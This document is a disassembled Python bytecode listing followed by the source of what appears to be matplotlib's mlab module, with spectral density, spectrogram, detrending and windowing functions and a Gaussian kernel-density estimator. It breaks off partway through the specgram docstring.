COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST spec LOAD_ATTR shape LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST spec LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 0 BUILD_TUPLE BINARY_SUBSCR STORE_FAST spec LOAD_FAST spec LOAD_FAST freqs BUILD_TUPLE RETURN_VALUE LOAD_GLOBAL csd LOAD_FAST x LOAD_CONST None LOAD_FAST NFFT LOAD_FAST Fs LOAD_FAST detrend LOAD_FAST window LOAD_FAST noverlap LOAD_FAST pad_to LOAD_FAST sides LOAD_FAST scale_by_freq LOAD_CONST ('x', 'y', 'NFFT', 'Fs', 'detrend', 'window', 'noverlap', 'pad_to', 'sides', 'scale_by_freq') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST Pxx STORE_FAST freqs LOAD_FAST Pxx LOAD_ATTR real LOAD_FAST freqs BUILD_TUPLE RETURN_VALUE LOAD_FAST NFFT LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 256 STORE_FAST NFFT LOAD_GLOBAL _spectral_helper LOAD_FAST x LOAD_FAST y LOAD_FAST NFFT LOAD_FAST Fs LOAD_FAST detrend LOAD_FAST window LOAD_FAST noverlap LOAD_FAST pad_to LOAD_FAST sides LOAD_FAST scale_by_freq LOAD_CONST 'psd' LOAD_CONST ('x', 'y', 'NFFT', 'Fs', 'detrend_func', 'window', 'noverlap', 'pad_to', 'sides', 'scale_by_freq', 'mode') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST Pxy STORE_FAST freqs STORE_FAST _ LOAD_FAST Pxy LOAD_ATTR ndim LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST Pxy LOAD_ATTR shape LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST Pxy LOAD_ATTR mean LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST Pxy JUMP_FORWARD to 102 LOAD_FAST Pxy LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 0 BUILD_TUPLE BINARY_SUBSCR STORE_FAST Pxy LOAD_FAST Pxy LOAD_FAST freqs BUILD_TUPLE RETURN_VALUE LOAD_FAST noverlap LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 128 STORE_FAST noverlap LOAD_FAST NFFT LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 256 STORE_FAST NFFT LOAD_GLOBAL len LOAD_FAST x CALL_FUNCTION LOAD_FAST NFFT COMPARE_OP <= POP_JUMP_IF_FALSE LOAD_GLOBAL _api LOAD_METHOD warn_external LOAD_CONST 'Only one segment is calculated since parameter NFFT (=' LOAD_FAST NFFT FORMAT_VALUE LOAD_CONST ') >= signal length (=' LOAD_GLOBAL len LOAD_FAST x CALL_FUNCTION FORMAT_VALUE LOAD_CONST ').' BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL _spectral_helper LOAD_FAST x LOAD_CONST None LOAD_FAST NFFT LOAD_FAST Fs LOAD_FAST detrend LOAD_FAST window LOAD_FAST noverlap LOAD_FAST pad_to LOAD_FAST sides LOAD_FAST scale_by_freq LOAD_FAST mode LOAD_CONST ('x', 'y', 'NFFT', 'Fs', 'detrend_func', 'window', 'noverlap', 'pad_to', 'sides', 'scale_by_freq', 'mode') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST spec STORE_FAST freqs STORE_FAST t LOAD_FAST mode LOAD_CONST 'complex' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST spec LOAD_ATTR real STORE_FAST spec LOAD_FAST spec LOAD_FAST freqs LOAD_FAST t BUILD_TUPLE RETURN_VALUE LOAD_GLOBAL len LOAD_FAST x CALL_FUNCTION LOAD_CONST 2 LOAD_FAST NFFT BINARY_MULTIPLY COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Coherence is calculated by averaging over *NFFT* length segments. Your signal is too short for your choice of *NFFT*.' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL psd LOAD_FAST x LOAD_FAST NFFT LOAD_FAST Fs LOAD_FAST detrend LOAD_FAST window LOAD_FAST noverlap LOAD_FAST pad_to LOAD_FAST sides LOAD_FAST scale_by_freq CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST Pxx STORE_FAST f LOAD_GLOBAL psd LOAD_FAST y LOAD_FAST NFFT LOAD_FAST Fs LOAD_FAST detrend LOAD_FAST window LOAD_FAST noverlap LOAD_FAST pad_to LOAD_FAST sides LOAD_FAST scale_by_freq CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST Pyy STORE_FAST f LOAD_GLOBAL csd LOAD_FAST x LOAD_FAST y LOAD_FAST NFFT LOAD_FAST Fs LOAD_FAST detrend LOAD_FAST window LOAD_FAST noverlap LOAD_FAST pad_to LOAD_FAST sides LOAD_FAST scale_by_freq CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST Pxy STORE_FAST f LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST Pxy CALL_METHOD LOAD_CONST 2 BINARY_POWER LOAD_FAST Pxx LOAD_FAST Pyy BINARY_MULTIPLY BINARY_TRUE_DIVIDE STORE_FAST Cxy LOAD_FAST Cxy LOAD_FAST f BUILD_TUPLE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GaussianKDE' STORE_NAME __qualname__ LOAD_CONST "\n Representation of a kernel-density estimate using Gaussian kernels.\n\n Parameters\n ----------\n dataset : array-like\n Datapoints to estimate from. In case of univariate data this is a 1-D\n array, otherwise a 2D array with shape (# of dims, # of data).\n bw_method : str, scalar or callable, optional\n The method used to calculate the estimator bandwidth. This can be\n 'scott', 'silverman', a scalar constant or a callable. If a\n scalar, this will be used directly as `kde.factor`. If a\n callable, it should take a `GaussianKDE` instance as only\n parameter and return a scalar. If None (default), 'scott' is used.\n\n Attributes\n ----------\n dataset : ndarray\n The dataset passed to the constructor.\n dim : int\n Number of dimensions.\n num_dp : int\n Number of datapoints.\n factor : float\n The bandwidth factor, obtained from `kde.covariance_factor`, with which\n the covariance matrix is multiplied.\n covariance : ndarray\n The covariance matrix of *dataset*, scaled by the calculated bandwidth\n (`kde.factor`).\n inv_cov : ndarray\n The inverse of *covariance*.\n\n Methods\n -------\n kde.evaluate(points) : ndarray\n Evaluate the estimated pdf on a provided set of points.\n kde(points) : ndarray\n Same as kde.evaluate(points)\n " STORE_NAME __doc__ LOAD_CONST (None,) LOAD_CONST <code object __init__ at 0x7fab80068c00, file "f.py", line 863> LOAD_CONST 'GaussianKDE.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object scotts_factor at 0x7fab80068c90, file "f.py", line 900> LOAD_CONST 'GaussianKDE.scotts_factor' MAKE_FUNCTION STORE_NAME scotts_factor LOAD_CONST <code object silverman_factor at 0x7fab80068390, file "f.py", line 903> LOAD_CONST 'GaussianKDE.silverman_factor' MAKE_FUNCTION STORE_NAME silverman_factor LOAD_NAME scotts_factor STORE_NAME covariance_factor LOAD_CONST <code object evaluate at 0x7fab800681e0, file "f.py", line 908> LOAD_CONST 'GaussianKDE.evaluate' MAKE_FUNCTION STORE_NAME evaluate LOAD_NAME evaluate STORE_NAME __call__ LOAD_CONST None RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD atleast_2d LOAD_FAST dataset CALL_METHOD LOAD_DEREF self STORE_ATTR dataset LOAD_GLOBAL np LOAD_METHOD array LOAD_DEREF self LOAD_ATTR dataset CALL_METHOD LOAD_ATTR size LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_TRUE LOAD_GLOBAL ValueError LOAD_CONST '`dataset` input should have multiple elements.' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL np LOAD_METHOD array LOAD_DEREF self LOAD_ATTR dataset CALL_METHOD LOAD_ATTR shape UNPACK_SEQUENCE LOAD_DEREF self STORE_ATTR dim LOAD_DEREF self STORE_ATTR num_dp LOAD_DEREF bw_method LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE JUMP_FORWARD to 184 LOAD_GLOBAL cbook LOAD_METHOD _str_equal LOAD_DEREF bw_method LOAD_CONST 'scott' CALL_METHOD POP_JUMP_IF_FALSE LOAD_DEREF self LOAD_ATTR scotts_factor LOAD_DEREF self STORE_ATTR covariance_factor JUMP_FORWARD to 184 LOAD_GLOBAL cbook LOAD_METHOD _str_equal LOAD_DEREF bw_method LOAD_CONST 'silverman' CALL_METHOD POP_JUMP_IF_FALSE LOAD_DEREF self LOAD_ATTR silverman_factor LOAD_DEREF self STORE_ATTR covariance_factor JUMP_FORWARD to 184 LOAD_GLOBAL isinstance LOAD_DEREF bw_method LOAD_GLOBAL Number CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST 'use constant' LOAD_DEREF self STORE_ATTR _bw_method LOAD_CLOSURE bw_method BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab80068030, file "f.py", line 878> LOAD_CONST 'GaussianKDE.__init__.<locals>.<lambda>' MAKE_FUNCTION LOAD_DEREF self STORE_ATTR covariance_factor JUMP_FORWARD to 184 LOAD_GLOBAL callable LOAD_DEREF bw_method CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_DEREF bw_method LOAD_DEREF self STORE_ATTR _bw_method LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab80068e40, file "f.py", line 881> LOAD_CONST 'GaussianKDE.__init__.<locals>.<lambda>' MAKE_FUNCTION LOAD_DEREF self STORE_ATTR covariance_factor JUMP_FORWARD to 184 LOAD_GLOBAL ValueError LOAD_CONST "`bw_method` should be 'scott', 'silverman', a scalar or a callable" CALL_FUNCTION RAISE_VARARGS LOAD_DEREF self LOAD_METHOD covariance_factor CALL_METHOD LOAD_DEREF self STORE_ATTR factor LOAD_GLOBAL hasattr LOAD_DEREF self LOAD_CONST '_data_inv_cov' CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL np LOAD_METHOD atleast_2d LOAD_GLOBAL np LOAD_ATTR cov LOAD_DEREF self LOAD_ATTR dataset LOAD_CONST 1 LOAD_CONST False LOAD_CONST ('rowvar', 'bias') CALL_FUNCTION CALL_METHOD LOAD_DEREF self STORE_ATTR data_covariance LOAD_GLOBAL np LOAD_ATTR linalg LOAD_METHOD inv LOAD_DEREF self LOAD_ATTR data_covariance CALL_METHOD LOAD_DEREF self STORE_ATTR data_inv_cov LOAD_DEREF self LOAD_ATTR data_covariance LOAD_DEREF self LOAD_ATTR factor LOAD_CONST 2 BINARY_POWER BINARY_MULTIPLY LOAD_DEREF self STORE_ATTR covariance LOAD_DEREF self LOAD_ATTR data_inv_cov LOAD_DEREF self LOAD_ATTR factor LOAD_CONST 2 BINARY_POWER BINARY_TRUE_DIVIDE LOAD_DEREF self STORE_ATTR inv_cov LOAD_GLOBAL np LOAD_METHOD sqrt LOAD_GLOBAL np LOAD_ATTR linalg LOAD_METHOD det LOAD_CONST 2 LOAD_GLOBAL np LOAD_ATTR pi BINARY_MULTIPLY LOAD_DEREF self LOAD_ATTR covariance BINARY_MULTIPLY CALL_METHOD CALL_METHOD LOAD_DEREF self LOAD_ATTR num_dp BINARY_MULTIPLY LOAD_DEREF self STORE_ATTR norm_factor LOAD_CONST None RETURN_VALUE LOAD_DEREF bw_method RETURN_VALUE LOAD_DEREF self LOAD_METHOD _bw_method LOAD_DEREF self CALL_METHOD RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD power LOAD_FAST self LOAD_ATTR num_dp LOAD_CONST -1.0 LOAD_FAST self LOAD_ATTR dim LOAD_CONST 4 BINARY_ADD BINARY_TRUE_DIVIDE CALL_METHOD RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD power LOAD_FAST self LOAD_ATTR num_dp LOAD_FAST self LOAD_ATTR dim LOAD_CONST 2.0 BINARY_ADD BINARY_MULTIPLY LOAD_CONST 4.0 BINARY_TRUE_DIVIDE LOAD_CONST -1.0 LOAD_FAST self LOAD_ATTR dim LOAD_CONST 4 BINARY_ADD BINARY_TRUE_DIVIDE CALL_METHOD RETURN_VALUE LOAD_GLOBAL np LOAD_METHOD atleast_2d LOAD_FAST points CALL_METHOD STORE_FAST points LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST points CALL_METHOD LOAD_ATTR shape UNPACK_SEQUENCE STORE_FAST dim STORE_FAST num_m LOAD_FAST dim LOAD_FAST self LOAD_ATTR dim COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'points have dimension ' LOAD_FAST dim FORMAT_VALUE LOAD_CONST ', dataset has dimension ' LOAD_FAST self LOAD_ATTR dim FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST num_m CALL_METHOD STORE_FAST result LOAD_FAST num_m LOAD_FAST self LOAD_ATTR num_dp COMPARE_OP >= POP_JUMP_IF_FALSE SETUP_LOOP to 284 LOAD_GLOBAL range LOAD_FAST self LOAD_ATTR num_dp CALL_FUNCTION GET_ITER FOR_ITER to 174 STORE_FAST i LOAD_FAST self LOAD_ATTR dataset LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_FAST i LOAD_GLOBAL np LOAD_ATTR newaxis BUILD_TUPLE BINARY_SUBSCR LOAD_FAST points BINARY_SUBTRACT STORE_FAST diff LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST self LOAD_ATTR inv_cov LOAD_FAST diff CALL_METHOD STORE_FAST tdiff LOAD_GLOBAL np LOAD_ATTR sum LOAD_FAST diff LOAD_FAST tdiff BINARY_MULTIPLY LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION LOAD_CONST 2.0 BINARY_TRUE_DIVIDE STORE_FAST energy LOAD_FAST result LOAD_GLOBAL np LOAD_METHOD exp LOAD_FAST energy UNARY_NEGATIVE CALL_METHOD BINARY_ADD STORE_FAST result JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 284 SETUP_LOOP to 284 LOAD_GLOBAL range LOAD_FAST num_m CALL_FUNCTION GET_ITER FOR_ITER to 282 STORE_FAST i LOAD_FAST self LOAD_ATTR dataset LOAD_FAST points LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_FAST i LOAD_GLOBAL np LOAD_ATTR newaxis BUILD_TUPLE BINARY_SUBSCR BINARY_SUBTRACT STORE_FAST diff LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST self LOAD_ATTR inv_cov LOAD_FAST diff CALL_METHOD STORE_FAST tdiff LOAD_GLOBAL np LOAD_ATTR sum LOAD_FAST diff LOAD_FAST tdiff BINARY_MULTIPLY LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION LOAD_CONST 2.0 BINARY_TRUE_DIVIDE STORE_FAST energy LOAD_GLOBAL np LOAD_ATTR sum LOAD_GLOBAL np LOAD_METHOD exp LOAD_FAST energy UNARY_NEGATIVE CALL_METHOD LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION LOAD_FAST result LOAD_FAST i STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST result LOAD_FAST self LOAD_ATTR norm_factor BINARY_TRUE_DIVIDE STORE_FAST result LOAD_FAST result RETURN_VALUE
""" Numerical Python functions written for compatibility with MATLAB commands with the same names. Most numerical Python functions can be found in the `NumPy`_ and `SciPy`_ libraries. What remains here is code for performing spectral computations and kernel density estimations. .. _NumPy: https://numpy.org .. _SciPy: https://www.scipy.org Spectral functions ------------------ `cohere` Coherence (normalized cross spectral density) `csd` Cross spectral density using Welch's average periodogram `detrend` Remove the mean or best fit line from an array `psd` Power spectral density using Welch's average periodogram `specgram` Spectrogram (spectrum over segments of time) `complex_spectrum` Return the complex-valued frequency spectrum of a signal `magnitude_spectrum` Return the magnitude of the frequency spectrum of a signal `angle_spectrum` Return the angle (wrapped phase) of the frequency spectrum of a signal `phase_spectrum` Return the phase (unwrapped angle) of the frequency spectrum of a signal `detrend_mean` Remove the mean from a line. `detrend_linear` Remove the best fit line from a line. `detrend_none` Return the original line. """ import functools from numbers import Number import numpy as np from matplotlib import _api, _docstring, cbook def window_hanning(x): """ Return *x* times the Hanning (or Hann) window of len(*x*). See Also -------- window_none : Another window algorithm. """ return np.hanning(len(x)) * x def window_none(x): """ No window function; simply return *x*. See Also -------- window_hanning : Another window algorithm. """ return x def detrend(x, key=None, axis=None): """ Return *x* with its trend removed. Parameters ---------- x : array or sequence Array or sequence containing the data. key : {'default', 'constant', 'mean', 'linear', 'none'} or function The detrending algorithm to use. 'default', 'mean', and 'constant' are the same as `detrend_mean`. 'linear' is the same as `detrend_linear`. 'none' is the same as `detrend_none`. The default is 'mean'. See the corresponding functions for more details regarding the algorithms. Can also be a function that carries out the detrend operation. axis : int The axis along which to do the detrending. See Also -------- detrend_mean : Implementation of the 'mean' algorithm. detrend_linear : Implementation of the 'linear' algorithm. detrend_none : Implementation of the 'none' algorithm. """ if key is None or key in ["constant", "mean", "default"]: return detrend(x, key=detrend_mean, axis=axis) elif key == "linear": return detrend(x, key=detrend_linear, axis=axis) elif key == "none": return detrend(x, key=detrend_none, axis=axis) elif callable(key): x = np.asarray(x) if axis is not None and axis + 1 > x.ndim: raise ValueError(f"axis(={axis}) out of bounds") if (axis is None and x.ndim == 0) or (not axis and x.ndim == 1): return key(x) try: return key(x, axis=axis) except TypeError: return np.apply_along_axis(key, axis=axis, arr=x) else: raise ValueError( f"Unknown value for key: {key!r}, must be one of: 'default', " f"'constant', 'mean', 'linear', or a function" ) def detrend_mean(x, axis=None): """ Return *x* minus the mean(*x*). Parameters ---------- x : array or sequence Array or sequence containing the data Can have any dimensionality axis : int The axis along which to take the mean. See `numpy.mean` for a description of this argument. See Also -------- detrend_linear : Another detrend algorithm. detrend_none : Another detrend algorithm. detrend : A wrapper around all the detrend algorithms. """ x = np.asarray(x) if axis is not None and axis + 1 > x.ndim: raise ValueError("axis(=%s) out of bounds" % axis) return x - x.mean(axis, keepdims=True) def detrend_none(x, axis=None): """ Return *x*: no detrending. Parameters ---------- x : any object An object containing the data axis : int This parameter is ignored. It is included for compatibility with detrend_mean See Also -------- detrend_mean : Another detrend algorithm. detrend_linear : Another detrend algorithm. detrend : A wrapper around all the detrend algorithms. """ return x def detrend_linear(y): """ Return *x* minus best fit line; 'linear' detrending. Parameters ---------- y : 0-D or 1-D array or sequence Array or sequence containing the data See Also -------- detrend_mean : Another detrend algorithm. detrend_none : Another detrend algorithm. detrend : A wrapper around all the detrend algorithms. """ y = np.asarray(y) if y.ndim > 1: raise ValueError("y cannot have ndim > 1") if not y.ndim: return np.array(0.0, dtype=y.dtype) x = np.arange(y.size, dtype=float) C = np.cov(x, y, bias=1) b = C[0, 1] / C[0, 0] a = y.mean() - b * x.mean() return y - (b * x + a) def _spectral_helper( x, y=None, NFFT=None, Fs=None, detrend_func=None, window=None, noverlap=None, pad_to=None, sides=None, scale_by_freq=None, mode=None, ): """ Private helper implementing the common parts between the psd, csd, spectrogram and complex, magnitude, angle, and phase spectrums. """ if y is None: same_data = True else: same_data = y is x if Fs is None: Fs = 2 if noverlap is None: noverlap = 0 if detrend_func is None: detrend_func = detrend_none if window is None: window = window_hanning if NFFT is None: NFFT = 256 if noverlap >= NFFT: raise ValueError("noverlap must be less than NFFT") if mode is None or mode == "default": mode = "psd" _api.check_in_list( ["default", "psd", "complex", "magnitude", "angle", "phase"], mode=mode ) if not same_data and mode != "psd": raise ValueError("x and y must be equal if mode is not 'psd'") x = np.asarray(x) if not same_data: y = np.asarray(y) if sides is None or sides == "default": if np.iscomplexobj(x): sides = "twosided" else: sides = "onesided" _api.check_in_list(["default", "onesided", "twosided"], sides=sides) if len(x) < NFFT: n = len(x) x = np.resize(x, NFFT) x[n:] = 0 if not same_data and len(y) < NFFT: n = len(y) y = np.resize(y, NFFT) y[n:] = 0 if pad_to is None: pad_to = NFFT if mode != "psd": scale_by_freq = False elif scale_by_freq is None: scale_by_freq = True if sides == "twosided": numFreqs = pad_to if pad_to % 2: freqcenter = (pad_to - 1) // 2 + 1 else: freqcenter = pad_to // 2 scaling_factor = 1.0 elif sides == "onesided": if pad_to % 2: numFreqs = (pad_to + 1) // 2 else: numFreqs = pad_to // 2 + 1 scaling_factor = 2.0 if not np.iterable(window): window = window(np.ones(NFFT, x.dtype)) if len(window) != NFFT: raise ValueError("The window length must match the data's first dimension") result = np.lib.stride_tricks.sliding_window_view(x, NFFT, axis=0)[ :: NFFT - noverlap ].T result = detrend(result, detrend_func, axis=0) result = result * window.reshape((-1, 1)) result = np.fft.fft(result, n=pad_to, axis=0)[:numFreqs, :] freqs = np.fft.fftfreq(pad_to, 1 / Fs)[:numFreqs] if not same_data: resultY = np.lib.stride_tricks.sliding_window_view(y, NFFT, axis=0)[ :: NFFT - noverlap ].T resultY = detrend(resultY, detrend_func, axis=0) resultY = resultY * window.reshape((-1, 1)) resultY = np.fft.fft(resultY, n=pad_to, axis=0)[:numFreqs, :] result = np.conj(result) * resultY elif mode == "psd": result = np.conj(result) * result elif mode == "magnitude": result = np.abs(result) / window.sum() elif mode == "angle" or mode == "phase": result = np.angle(result) elif mode == "complex": result /= window.sum() if mode == "psd": if not NFFT % 2: slc = slice(1, -1, None) else: slc = slice(1, None, None) result[slc] *= scaling_factor if scale_by_freq: result /= Fs result /= (window**2).sum() else: result /= window.sum() ** 2 t = np.arange(NFFT / 2, len(x) - NFFT / 2 + 1, NFFT - noverlap) / Fs if sides == "twosided": freqs = np.roll(freqs, -freqcenter, axis=0) result = np.roll(result, -freqcenter, axis=0) elif not pad_to % 2: freqs[-1] *= -1 if mode == "phase": result = np.unwrap(result, axis=0) return result, freqs, t def _single_spectrum_helper(mode, x, Fs=None, window=None, pad_to=None, sides=None): """ Private helper implementing the commonality between the complex, magnitude, angle, and phase spectrums. """ _api.check_in_list(["complex", "magnitude", "angle", "phase"], mode=mode) if pad_to is None: pad_to = len(x) spec, freqs, _ = _spectral_helper( x=x, y=None, NFFT=len(x), Fs=Fs, detrend_func=detrend_none, window=window, noverlap=0, pad_to=pad_to, sides=sides, scale_by_freq=False, mode=mode, ) if mode != "complex": spec = spec.real if spec.ndim == 2 and spec.shape[1] == 1: spec = spec[:, 0] return spec, freqs _docstring.interpd.update( Spectral="""\ Fs : float, default: 2 The sampling frequency (samples per time unit). It is used to calculate the Fourier frequencies, *freqs*, in cycles per time unit. window : callable or ndarray, default: `.window_hanning` A function or a vector of length *NFFT*. To create window vectors see `.window_hanning`, `.window_none`, `numpy.blackman`, `numpy.hamming`, `numpy.bartlett`, `scipy.signal`, `scipy.signal.get_window`, etc. If a function is passed as the argument, it must take a data segment as an argument and return the windowed version of the segment. sides : {'default', 'onesided', 'twosided'}, optional Which sides of the spectrum to return. 'default' is one-sided for real data and two-sided for complex data. 'onesided' forces the return of a one-sided spectrum, while 'twosided' forces two-sided.""", Single_Spectrum="""\ pad_to : int, optional The number of points to which the data segment is padded when performing the FFT. While not increasing the actual resolution of the spectrum (the minimum distance between resolvable peaks), this can give more points in the plot, allowing for more detail. This corresponds to the *n* parameter in the call to `~numpy.fft.fft`. The default is None, which sets *pad_to* equal to the length of the input signal (i.e. no padding).""", PSD="""\ pad_to : int, optional The number of points to which the data segment is padded when performing the FFT. This can be different from *NFFT*, which specifies the number of data points used. While not increasing the actual resolution of the spectrum (the minimum distance between resolvable peaks), this can give more points in the plot, allowing for more detail. This corresponds to the *n* parameter in the call to `~numpy.fft.fft`. The default is None, which sets *pad_to* equal to *NFFT* NFFT : int, default: 256 The number of data points used in each block for the FFT. A power 2 is most efficient. This should *NOT* be used to get zero padding, or the scaling of the result will be incorrect; use *pad_to* for this instead. detrend : {'none', 'mean', 'linear'} or callable, default: 'none' The function applied to each segment before fft-ing, designed to remove the mean or linear trend. Unlike in MATLAB, where the *detrend* parameter is a vector, in Matplotlib it is a function. The :mod:`~matplotlib.mlab` module defines `.detrend_none`, `.detrend_mean`, and `.detrend_linear`, but you can use a custom function as well. You can also use a string to choose one of the functions: 'none' calls `.detrend_none`. 'mean' calls `.detrend_mean`. 'linear' calls `.detrend_linear`. scale_by_freq : bool, default: True Whether the resulting density values should be scaled by the scaling frequency, which gives density in units of 1/Hz. This allows for integration over the returned frequency values. The default is True for MATLAB compatibility.""", ) @_docstring.dedent_interpd def psd( x, NFFT=None, Fs=None, detrend=None, window=None, noverlap=None, pad_to=None, sides=None, scale_by_freq=None, ): r""" Compute the power spectral density. The power spectral density :math:`P_{xx}` by Welch's average periodogram method. The vector *x* is divided into *NFFT* length segments. Each segment is detrended by function *detrend* and windowed by function *window*. *noverlap* gives the length of the overlap between segments. The :math:`|\mathrm{fft}(i)|^2` of each segment :math:`i` are averaged to compute :math:`P_{xx}`. If len(*x*) < *NFFT*, it will be zero padded to *NFFT*. Parameters ---------- x : 1-D array or sequence Array or sequence containing the data %(Spectral)s %(PSD)s noverlap : int, default: 0 (no overlap) The number of points of overlap between segments. Returns ------- Pxx : 1-D array The values for the power spectrum :math:`P_{xx}` (real valued) freqs : 1-D array The frequencies corresponding to the elements in *Pxx* References ---------- Bendat & Piersol -- Random Data: Analysis and Measurement Procedures, John Wiley & Sons (1986) See Also -------- specgram `specgram` differs in the default overlap; in not returning the mean of the segment periodograms; and in returning the times of the segments. magnitude_spectrum : returns the magnitude spectrum. csd : returns the spectral density between two signals. """ Pxx, freqs = csd( x=x, y=None, NFFT=NFFT, Fs=Fs, detrend=detrend, window=window, noverlap=noverlap, pad_to=pad_to, sides=sides, scale_by_freq=scale_by_freq, ) return Pxx.real, freqs @_docstring.dedent_interpd def csd( x, y, NFFT=None, Fs=None, detrend=None, window=None, noverlap=None, pad_to=None, sides=None, scale_by_freq=None, ): """ Compute the cross-spectral density. The cross spectral density :math:`P_{xy}` by Welch's average periodogram method. The vectors *x* and *y* are divided into *NFFT* length segments. Each segment is detrended by function *detrend* and windowed by function *window*. *noverlap* gives the length of the overlap between segments. The product of the direct FFTs of *x* and *y* are averaged over each segment to compute :math:`P_{xy}`, with a scaling to correct for power loss due to windowing. If len(*x*) < *NFFT* or len(*y*) < *NFFT*, they will be zero padded to *NFFT*. Parameters ---------- x, y : 1-D arrays or sequences Arrays or sequences containing the data %(Spectral)s %(PSD)s noverlap : int, default: 0 (no overlap) The number of points of overlap between segments. Returns ------- Pxy : 1-D array The values for the cross spectrum :math:`P_{xy}` before scaling (real valued) freqs : 1-D array The frequencies corresponding to the elements in *Pxy* References ---------- Bendat & Piersol -- Random Data: Analysis and Measurement Procedures, John Wiley & Sons (1986) See Also -------- psd : equivalent to setting ``y = x``. """ if NFFT is None: NFFT = 256 Pxy, freqs, _ = _spectral_helper( x=x, y=y, NFFT=NFFT, Fs=Fs, detrend_func=detrend, window=window, noverlap=noverlap, pad_to=pad_to, sides=sides, scale_by_freq=scale_by_freq, mode="psd", ) if Pxy.ndim == 2: if Pxy.shape[1] > 1: Pxy = Pxy.mean(axis=1) else: Pxy = Pxy[:, 0] return Pxy, freqs _single_spectrum_docs = """\ Compute the {quantity} of *x*. Data is padded to a length of *pad_to* and the windowing function *window* is applied to the signal. Parameters ---------- x : 1-D array or sequence Array or sequence containing the data {Spectral} {Single_Spectrum} Returns ------- spectrum : 1-D array The {quantity}. freqs : 1-D array The frequencies corresponding to the elements in *spectrum*. See Also -------- psd Returns the power spectral density. complex_spectrum Returns the complex-valued frequency spectrum. magnitude_spectrum Returns the absolute value of the `complex_spectrum`. angle_spectrum Returns the angle of the `complex_spectrum`. phase_spectrum Returns the phase (unwrapped angle) of the `complex_spectrum`. specgram Can return the complex spectrum of segments within the signal. """ complex_spectrum = functools.partial(_single_spectrum_helper, "complex") complex_spectrum.__doc__ = _single_spectrum_docs.format( quantity="complex-valued frequency spectrum", **_docstring.interpd.params ) magnitude_spectrum = functools.partial(_single_spectrum_helper, "magnitude") magnitude_spectrum.__doc__ = _single_spectrum_docs.format( quantity="magnitude (absolute value) of the frequency spectrum", **_docstring.interpd.params, ) angle_spectrum = functools.partial(_single_spectrum_helper, "angle") angle_spectrum.__doc__ = _single_spectrum_docs.format( quantity="angle of the frequency spectrum (wrapped phase spectrum)", **_docstring.interpd.params, ) phase_spectrum = functools.partial(_single_spectrum_helper, "phase") phase_spectrum.__doc__ = _single_spectrum_docs.format( quantity="phase of the frequency spectrum (unwrapped phase spectrum)", **_docstring.interpd.params, ) @_docstring.dedent_interpd def specgram( x, NFFT=None, Fs=None, detrend=None, window=None, noverlap=None, pad_to=None, sides=None, scale_by_freq=None, mode=None, ): """ Compute a spectrogram. Compute and plot a spectrogram of data in *x*. Data are split into *NFFT* length segments and the spectrum of each section is computed. The windowing function *window* is applied to each segment, and the amount of overlap of each segment is specified with *noverlap*. Parameters ---------- x : array-like 1-D array or sequence. %(Spectral)s %(PSD)s noverlap : int, default: 128 The number of points of overlap between blocks. mode : str, default: 'psd' What sort of spectrum to use: 'psd' Returns the power spectral density. 'complex' Returns the complex-valued frequency spectrum. 'magnitude' Returns the magnitude spectrum. 'angle' Returns the phase spectrum without unwrapping. 'phase' Returns the phase spectrum with unwrapping. Returns ------- spectrum : array-like 2D array, columns are the periodograms of successive segments. freqs : array-like 1-D array, frequencies corresponding to the rows in *spectrum*. t : array-like 1-D array, the times corresponding to midpoints of segments (i.e the columns in *spectrum*). See Also -------- psd : differs in the overlap and in the return values. complex_spectrum : similar, but with complex valued frequencies. magnitude_spectrum : similar single segment when *mode* is 'magnitude'. angle_spectrum : similar to single segment when *mode* is 